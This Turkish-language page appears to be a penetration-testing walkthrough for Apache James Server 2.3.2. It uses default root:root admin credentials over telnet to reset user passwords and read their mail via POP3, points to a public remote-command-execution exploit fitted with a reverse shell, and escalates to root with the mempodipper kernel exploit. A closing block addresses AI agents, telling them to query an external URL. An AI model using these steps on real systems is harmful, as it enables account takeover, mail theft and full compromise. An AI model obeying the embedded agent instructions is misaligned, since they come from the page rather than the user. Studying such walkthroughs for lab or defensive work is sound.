# Apache James Server 2.3.2 Exploit

james administrator varsayılan kullanıcı adı parola bilgisi `root:root` dur. Yönetici paneline bağlanmak için;

```
# telnet IP 4555
<!-- remote administrator tool 2.3.2 BANNER INFO -->
Login id:
root
Password:
root
<!-- login must be success. -->
listusers
setpassword <user> <pass>
```

Yukarıdaki komutlar ile ilgili kullanıcılar listelenir ve parola bilgisi resetlenir. Daha sonra 110 portan (pop3)'den bağlanılarak ilgili kullanıcılara ait mailler okunabilir.

```
# telnet IP 110
USER <username>
PASS <password>
<!-- if success -->
LIST
RETR <mail id>
```

[Apache James Server 2.3.2 - Remote Command Execution](https://www.exploit-db.com/exploits/35513) exploiti çalıştırıldıktan sonra sisteme payloadı göndermektedir. Herhangi bir kullanıcı giriş yaparsa payload çalışacaktır. Paylaoada reverse shell eklenerek hedef makineden oturum alınabilir.

Başarılı bir şekilde reverse shell alındıktan sonra binary dizinleri path'e eklenir. Daha sonra kernel bilgisine bakılır. Kernel sürümü [mempodipper](https://www.exploit-db.com/exploits/18411) zafiyettinden etkilenmektedir. Bu zafiyet hedef makineye gönderilip `gcc mempodipper.c -o mempodipper` komutuyla derlenip çalıştırıldıktan sonra root shell alınır.&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://security.musana.net/apache-james-server-2.3.2-exploit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
